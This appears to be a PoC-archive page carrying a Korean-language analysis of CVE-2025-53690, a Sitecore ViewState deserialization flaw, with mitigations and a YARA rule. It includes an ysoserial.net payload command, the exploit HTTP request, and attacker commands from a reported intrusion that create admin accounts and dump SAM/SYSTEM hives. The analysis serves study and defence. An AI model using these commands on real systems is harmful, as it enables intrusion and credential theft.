Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2025-53690 PoC — Sitecore Products ViewState Deserialization Vulnerability

Source
Associated Vulnerability
Title:Sitecore Products ViewState Deserialization Vulnerability (CVE-2025-53690)
Description:Deserialization of Untrusted Data vulnerability in Sitecore Experience Manager (XM), Sitecore Experience Platform (XP) allows Code Injection.This issue affects Experience Manager (XM): through 9.0; Experience Platform (XP): through 9.0.
Description
This is CVE-2025-53690 Analysis Documents.
Readme
# CVE-2025-53690: Sitecore ViewState Deserialization 취약점 분석

## 개요

CVE-2025-53690은 Sitecore 제품군에서 발견된 ViewState 역직렬화 취약점으로, 노출된 ASP.NET machine key를 악용하여 원격 코드 실행이 가능한 치명적인 보안 취약점입니다.

### 기본 정보
- **CVE ID**: CVE-2025-53690
- **CVSS 점수**: 9.0 (Critical)
- **취약점 유형**: Deserialization of Untrusted Data (CWE-502)
- **발견일**: 2025년 9월
- **공개일**: 2025년 9월 3일
- **실제 악용**: 2024년 12월부터 Zero-day로 악용됨

### 영향받는 제품
- Sitecore Experience Manager (XM) - 9.0 이하 모든 버전
- Sitecore Experience Platform (XP) - 9.0 이하 모든 버전  
- Sitecore Experience Commerce (XC)
- Sitecore Managed Cloud
- Active Directory 모듈 1.4 이하

## 취약점 상세 분석

### 근본 원인

이 취약점의 핵심은 **잘못된 구성 관리**에 있습니다:

1. **샘플 Machine Key 사용**: 2017년 이전 Sitecore 배포 가이드에 포함된 샘플 ASP.NET machine key가 프로덕션 환경에서 그대로 사용됨
2. **정적 키 재사용**: 여러 배포에서 동일한 machine key가 반복 사용됨
3. **ViewState 검증 우회**: 노출된 키를 통해 ViewState 무결성 검증을 우회할 수 있음

### ASP.NET ViewState 메커니즘

ViewState는 ASP.NET의 상태 관리 기능으로:
- 웹페이지의 상태를 `__VIEWSTATE` 숨겨진 필드에 저장
- Machine key를 사용하여 무결성 및 기밀성 보장
- 서버는 ViewState를 역직렬화하여 페이지 상태 복원

```xml
<!-- web.config 예시 -->
<system.web>
    <machineKey 
        validationKey="[64바이트 키]"
        decryptionKey="[48바이트 키]"
        validation="HMACSHA256" 
        decryption="AES" />
</system.web>
```

### 공격 벡터

#### 1. 취약한 엔드포인트 식별
```
Target: /sitecore/blocked.aspx
Method: POST
특징: 인증 없이 접근 가능, ViewState 사용
```

#### 2. 악성 ViewState 페이로드 생성
공격자는 알려진 machine key와 ysoserial.net을 사용하여 악성 페이로드 생성:

```bash
# ysoserial.net 사용 예시
ysoserial.exe -f ViewState -g TypeConfuseDelegate -c "calc.exe" --validationkey="[키]" --validationalg="HMACSHA256" --decryptionkey="[키]" --decryptionalg="AES"
```

#### 3. HTTP 요청 전송
```http
POST /sitecore/blocked.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

__VIEWSTATE=[악성_페이로드]&__VIEWSTATEGENERATOR=[값]
```

## 실제 공격 사례 분석 (Mandiant 보고서)

### 공격 라이프사이클

#### Phase 1: 초기 침투
- **엔드포인트**: `/sitecore/blocked.aspx`
- **방법**: ViewState 역직렬화 공격
- **권한**: NETWORK SERVICE (IIS worker process)
- **페이로드**: WEEPSTEEL 정찰 도구

#### Phase 2: 정찰 및 발판 구축
```powershell
# 실행된 명령들
whoami
hostname  
net user
tasklist
ipconfig /all
netstat -ano
net group "domain admins"
```

**배포된 도구들**:
- `7za.exe`: 파일 압축 도구
- `lfe.ico`: EARTHWORM 네트워크 터널링 도구
- `1.vbs`: 명령 실행용 VBScript

#### Phase 3: 권한 상승
```cmd
# 로컬 관리자 계정 생성
net user asp$ [패스워드] /add
net localgroup administrators asp$ /add

net user sawadmin [패스워드] /add  
net localgroup administrators sawadmin /add
```

**자격증명 수집**:
```cmd
reg save HKLM\SYSTEM c:\users\public\system.hive
reg save HKLM\SAM c:\users\public\sam.hive
```

#### Phase 4: 지속성 확보
- **RDP 접근**: 생성된 관리자 계정 사용
- **DWAGENT**: 원격 접근 도구 설치 (SYSTEM 권한으로 서비스 등록)
- **계정 설정 변경**:
```cmd
net user [AdminUser] /passwordchg:no /expires:never
wmic useraccount where name='[AdminUser]' set PasswordExpires=False
```

#### Phase 5: 내부 정찰
```cmd
# Domain Controller 식별
nltest /DCLIST:[domain]
nslookup [domain-controller]

# GPO에서 cpassword 검색 (Group Policy Preferences 공격)
findstr /S /l cpassword \\[DC]\sysvol\[domain]\policies\*.xml

# BloodHound/SharpHound 실행
sh.exe -c all
```

#### Phase 6: 횡적 이동
- 탈취한 도메인 관리자 계정으로 다른 시스템에 RDP 접근
- EARTHWORM을 통한 네트워크 터널링으로 보안 우회

### 사용된 도구 분석

#### WEEPSTEEL (정찰 도구)
```csharp
// 수집하는 정보
Information.BasicsInfo basicsInfo = new Information.BasicsInfo
{
    Directories = new Information.Directories
    {
        CurrentWebDirectory = HostingEnvironment.MapPath("~/")
    },
    OperatingSystemInformation = Information.GetOperatingSystemInformation(),
    DiskInformation = Information.GetDiskInformation(),
    NetworkAdapterInformation = Information.GetNetworkAdapterInformation(),
    Process = Information.GetProcessInformation()
};
```

출력 방식: ViewState로 위장하여 데이터 은닉
```html
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
       value="/wEPDwUKLTcyODc4{AES 암호화 + base64 인코딩된 출력}" />
```

#### EARTHWORM (네트워크 터널링)
- SOCKS v5 프록시 서버 기능
- 방화벽 우회 및 트래픽 은닉
- RDP 트래픽을 터널링하여 탐지 회피

#### DWAGENT (원격 접근)
- 합법적인 원격 관리 도구
- SYSTEM 권한으로 서비스 등록
- 자동 시작으로 지속성 확보

#### SHARPHOUND (AD 정찰)
- BloodHound용 데이터 수집 도구
- Active Directory 환경 매핑
- 공격 경로 식별


## 방어 및 완화 방안

### 즉시 조치사항
```xml
<!-- 고유한 machine key 생성 -->
<machineKey 
    validationKey="[새로운_64바이트_키]"
    decryptionKey="[새로운_48바이트_키]"
    validation="HMACSHA256" 
    decryption="AES" />
```

### 보안 강화 방안
1. **자동화된 키 순환**
2. **ViewState MAC 검증 활성화**
3. **구성 파일 암호화**
4. **네트워크 분할**
5. **모니터링 강화**

### 탐지 규칙
```yaml
# YARA 규칙 예시 (WEEPSTEEL 탐지)
rule WEEPSTEEL_Detection {
    strings:
        $viewstate = "__VIEWSTATE"
        $crypto = "System.Security.Cryptography"
        $serializer = "JavaScriptSerializer"
    condition:
        all of them
}
```

## 결론

CVE-2025-53690은 단순한 구성 실수가 어떻게 치명적인 보안 위협으로 이어질 수 있는지를 보여주는 대표적인 사례입니다. 이 취약점을 통해 학습자들은 실제 APT 공격의 전체 라이프사이클을 경험하고, 현대적인 공격 기법과 방어 전략을 이해할 수 있습니다.

## 참고 자료

- [Google Cloud Blog - ViewState Deserialization Zero-Day](https://cloud.google.com/blog/topics/threat-intelligence/viewstate-deserialization-zero-day-vulnerability/)
- [Sitecore Advisory SC2025-005](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003865)
- [CISA KEV Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- [ysoserial.net](https://github.com/pwntester/ysoserial.net)
- [Microsoft Security Blog - ASP.NET Machine Keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →